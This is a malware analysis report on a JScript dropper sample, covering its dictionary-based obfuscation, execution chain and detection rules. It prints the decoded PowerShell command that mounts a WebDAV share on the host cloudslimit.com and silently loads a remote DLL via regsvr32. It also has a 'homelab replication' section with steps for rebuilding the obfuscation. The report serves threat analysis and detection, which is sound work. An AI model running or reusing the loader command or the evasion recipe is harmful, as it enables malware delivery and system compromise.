unclassified-js-webdav-dropper: 33c0bfaf — 62-entry natural-language dictionary, cloudslimit.com:8888, PowerShell wrapper

Executive Summary

JScript dropper (154734291294621066.js, 16.7 KB) using a 62-entry natural-language dictionary lookup-table obfuscation with three-word compound-phrase keys. Assembles a PowerShell -EncodedCommand cradle that mounts a WebDAV share at cloudslimit.com:8888 and silently registers a remote DLL via regsvr32 /s. Fifty-fourth confirmed sibling in the unclassified JS WebDAV dropper family. OpenCTI labels include strelastealer, but the technical fingerprint (dictionary dialect, C2 infrastructure, execution chain) aligns unambiguously with the WebDAV dropper cluster. Static-only analysis; no CAPE detonation (JScript is not a supported binary class).

What It Is

• File: 154734291294621066.js ^[triage.json]
• Size: 16,732 bytes (16.7 KB) ^[file.txt]
• Type: ASCII text, single-line JScript with very long lines (16,732 chars, no line terminators) ^[file.txt]
• SHA-256: 33c0bfaf30f6bf50b1a7d4315702f2bc88f5f252945ab34dd1e26111b7b73ff8
• SSDEEP: 192:8SqT+tz2PoMjA54MnQLYZ6piOBr3NJEByQxRDwX6sRynOejOQw:CiTojRND ^[ssdeep.txt]
• TLSH: T19CF2C94C94BA7F50BA255B5DA7F716EB948920820AEB8932713033ED79C4C33799D ^[tlsh.txt]
• Family: unclassified-js-webdav-dropper — see unclassified-js-webdav-dropper for cluster overview. OpenCTI strelastealer label is a mislabel based on this sample's technical content.

How It Works

Layer 1 — Nested Try/Catch Decoy

The script opens with try{rapidfancyrejoice();}catch(spraycurvetrouble){...} and a second try{nightarithmeticweary();}catch(niceshytooth){...} immediately after the first catch block. Both try functions are undefined, guaranteeing the catch path executes. This is a consistent decoy pattern across dictionary-dialect siblings (cc90d6c, ccb2d007, a3419c27a, aac0198b5). ^[strings.txt:1]

Layer 2 — Dictionary Lookup Table

Inside catch(spraycurvetrouble), a 62-entry dictionary tworemindgentle is populated with three-word natural-language compound phrases mapped to single ASCII characters: ^[strings.txt:1]

vegetablestemsniff -> W
chillypricklyscarecrow -> p
absentsteepritzy -> o
ladybugtellingquilt -> 5
vastdiligentcoat -> 1
lyingtroublecalm -> i
harborstreamphobic -> 3
stupidpricklyfit -> g
controlconnectionlate -> 8
waitingdiscussionunite -> T
failmightypsychotic -> R
ownrakegrate -> f
muddlemilkyrecognise -> h
nutritiousfiledivide -> C
disagreelockunit -> L
tamedefeatedhistory -> U
veilsortants -> l
momentousfemalepour -> Q
humdrumskinnyrecess -> b
honeybighose -> Y
greedytreeswift -> k
wickednutapplaud -> 7
rebelindustriousavoid -> n
checkfiremanspicy -> 0
icypressenchanting -> m
dangerousargumentbeg -> K
pedalcannonlamp -> 9
snailsselectionblow -> a
subduedhairattract -> V
arrangeludicrousdistance -> w
voyageplaypeel -> S
linenfarmbillowy -> B
excusemountainousversed -> J
flockcutetranquil -> Z
combbeautifulmagnificent -> H
shutswimstain -> O
activitymendcondition -> M
actreceptivestamp -> e
pencilbewilderedquestionable -> 4
grubbyirritatingscrape -> q
presscampstrap -> v
servantintelligentteeny-tiny -> N
nauseatingprovidefoolish -> r
collarsandbrick -> t
picklemilkcarpenter -> E
spottirepreserve -> z
tableglamoroushistory -> P
advicechickeninsurance -> I
happypleasechalk -> s
hulkingfangwindow -> x
gratispenitentstiff -> d
captioncoasttime -> G
developsorecompare -> 6
bedroomjumpdivergent -> u
tremendousdaffyimmense -> F
carriageboilpushy -> X
greetfiremanchildlike -> A
stopsickpie -> c
systempenciluttermost -> y
spadebelligerentdecorate -> D
ratclubwiry -> j
captionhumnonstop -> 2

Key naming style: non-alliterative three-word English compounds (e.g., vegetablestemsniff, combbeautifulmagnificent, tremendousdaffyimmense). This is the seventh observed sample using this non-alliterative natural-language key style, after a3419c27a, aac0198b5, 94686f16, 69f29779, 6d9546a6, and 5931df0b. Distinct from the alliterative three-word style (wide-eyedquickbrass) seen in ccb2d007/cc90d6c, the random-noise style (hrwfkasmlfbj) seen in df42ecf8/d0124d62, and the short word-pair style seen in earlier 36-entry variants. ^[strings.txt:1]

Layer 3 — String Assembly via Function Constructor

The payload is assembled inside catch(niceshytooth) using:

Function(''+tworemindgentle['nauseatingprovidefoolish']+
         tworemindgentle['actreceptivestamp']+...+'')()

This evaluates to return this in the global context, yielding WScript. ^[strings.txt:1]

Decoded payload:

return this')()['WScript']['CreateObject']('WScript.Shell')['run']('powershell -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAA5ADkANgAyADIAMgA3ADgAMwAyADAAOAA4AC4AZABsAGwA

The Base64 decodes to UTF-16 LE: ^[strings.txt:1]

net use \\cloudslimit.com@8888\davwwwroot\ ; regsvr32 /s \\cloudslimit.com@8888\davwwwroot\9962227832088.dll

Execution Chain

1. wscript.exe opens .js file.
2. JScript decodes dictionary and assembles PowerShell command.
3. WScript.Shell.Run spawns powershell.exe -EncodedCommand <...>.
4. PowerShell decodes and runs: net use to mount WebDAV share.
5. regsvr32 /s silently loads remote DLL over HTTP/WebDAV.

No wordpad decoy, no sandbox gate, no split-domain C2 (both mount and fetch use cloudslimit.com:8888). ^[strings.txt:1]

C2 Infrastructure

Interesting Tidbits

• 62-entry dictionary: Maximum observed cardinality for this family. 36-entry variants are more common on 45.9.74.36:8888; 62-entry variants cluster on cloudslimit.com:8888 and dailywebstats.com:8888. ^[strings.txt:1]
• Natural-language compound-phrase keys: Seventh observed sample with non-alliterative three-word keys. The keys read as random English phrases (vegetablestemsniff, combbeautifulmagnificent, tremendousdaffyimmense) but carry no semantic payload. This style may be a deliberate evasion against dictionary-based heuristic detection that flags alliterative or noise patterns. ^[strings.txt:1]
• No split-domain C2: Unlike sibling fb353965 (which splits mount vs fetch across cloudslimit.com and cloudskimit.com), this sample uses a single domain for both operations. Simplifies infrastructure but increases fingerprintability. ^[strings.txt:1]
• No sandbox gate: No process-list checks, no VM detection, no connectivity tests. Executes immediately upon opening. ^[dynamic-analysis.md]
• Payload filename: 9962227832088.dll — 13-digit numeric, consistent with family naming convention (observed lengths: 2–17 digits). ^[strings.txt:1]
• OpenCTI mislabel: The strelastealer label from OpenCTI does not match the technical fingerprint. This sample belongs to the WebDAV dropper cluster, not the StrelaStealer infostealer family. ^[triage.json]

How To Mess With It (Homelab Replication)

1. Build the dictionary. Choose 62 unique three-word English compounds (e.g., saltwhiteclean, bashfulyellowe). Map to [a-zA-Z0-9] plus common symbols and space.
2. Encode the payload. Convert a PowerShell or batch command to character-by-character dictionary lookups.
3. Wrap in decoy. Use nested try{undefinedFunc();}catch(e){...} to force the catch path.
4. Assemble with Function constructor. Use Function('return this')() to access WScript without hardcoding.
5. Test against EDR. Static string detection will fail; behavioral detection (monitoring wscript.exe → powershell.exe → net.exe → regsvr32.exe) will catch it.

Deployable Signatures

YARA Rule

rule JS_WebDAV_Dropper_Dictionary_NaturalLang_62 {
    meta:
        description = "JScript WebDAV dropper with 62-entry natural-language dictionary lookup"
        author = "PacketPursuit"
        family = "unclassified-js-webdav-dropper"
        hash = "33c0bfaf30f6bf50b1a7d4315702f2bc88f5f252945ab34dd1e26111b7b73ff8"
    strings:
        $dict_obj = /\w{15,25}=\[\];\w{15,25}\['[a-z-]{10,30}'\]='[A-Za-z0-9]';/
        $try_catch1 = "try{" ascii wide
        $catch1 = "catch(spraycurvetrouble)" ascii wide
        $catch2 = "catch(niceshytooth)" ascii wide
        $func_ctor = "Function(''" ascii wide
        $wscript1 = "WScript" ascii wide
        $wscript2 = "WScript.Shell" ascii wide
        $powershell = "powershell" ascii wide
        $encoded = "EncodedCommand" ascii wide
        $net_use = "net use" ascii wide
        $regsvr32 = "regsvr32" ascii wide
        $dav = "DavWWWRoot" ascii wide nocase
    condition:
        filesize < 25KB and
        (#dict_obj >= 50) and
        $try_catch1 and
        $func_ctor and
        $wscript1 and
        $wscript2 and
        ($net_use or $regsvr32 or $dav) and
        4 of ($catch1, $catch2, $powershell, $encoded)
}

Sigma Rule

title: JScript WebDAV Dropper Execution Chain
description: Detects wscript.exe spawning powershell.exe that executes net use and regsvr32 over WebDAV UNC path
logsource:
  category: process_creation
  product: windows
detection:
  selection_parent:
    ParentImage|endswith: '\wscript.exe'
  selection_child:
    - CommandLine|contains: 'powershell'
    - CommandLine|contains: 'EncodedCommand'
  selection_grandchild:
    CommandLine|contains:
      - 'net use'
      - 'regsvr32'
      - 'DavWWWRoot'
  condition: selection_parent and selection_child and selection_grandchild
falsepositives:
  - Rare legitimate administrative scripts
level: high

IOC List

Behavioral Fingerprint Statement

This JScript sample opens via wscript.exe, builds a 62-entry character lookup dictionary inside nested try/catch blocks using three-word natural-language compound keys, assembles a PowerShell -EncodedCommand string via the Function constructor, and spawns powershell.exe to execute net use against a cloudslimit.com:8888 WebDAV share followed by regsvr32 /s loading a numeric-named DLL from the UNC path. No sandbox gate, no decoy application, no split-domain C2.

Detection Signatures

References

• unclassified-js-webdav-dropper — Entity page for this family (53 prior siblings documented)
• js-dictionary-char-lookup-obfuscation — Technique page for dictionary lookup obfuscation
• function-return-this-global-construction — Technique page for Function constructor global access
• webdav-regsvr32-dll-sideloading — Technique page for WebDAV + regsvr32 execution chain
• MITRE ATT&CK T1218.010: https://attack.mitre.org/techniques/T1218/010/

Provenance

• file.txt — file utility (determined ASCII text, very long lines)
• strings.txt — strings output (single line, 16,732 chars; contains full JScript source)
• triage.json — triage pipeline metadata (filename, SHA-256, size, labels)
• ssdeep.txt — ssdeep hash
• tlsh.txt — TLSH hash
• exiftool.json — ExifTool metadata (TXT file, us-ascii)
• dynamic-analysis.md — CAPE sandbox status (skipped: not a supported binary class)
• Custom Python decoder script (/tmp/decode_33c0bfaf.py) used to extract dictionary and assemble payload

Note: No Ghidra/radare2 analysis was performed because the sample is a plaintext JScript file, not a PE binary. No CAPE detonation was possible for the same reason. All behavioral inferences are derived from static string decoding.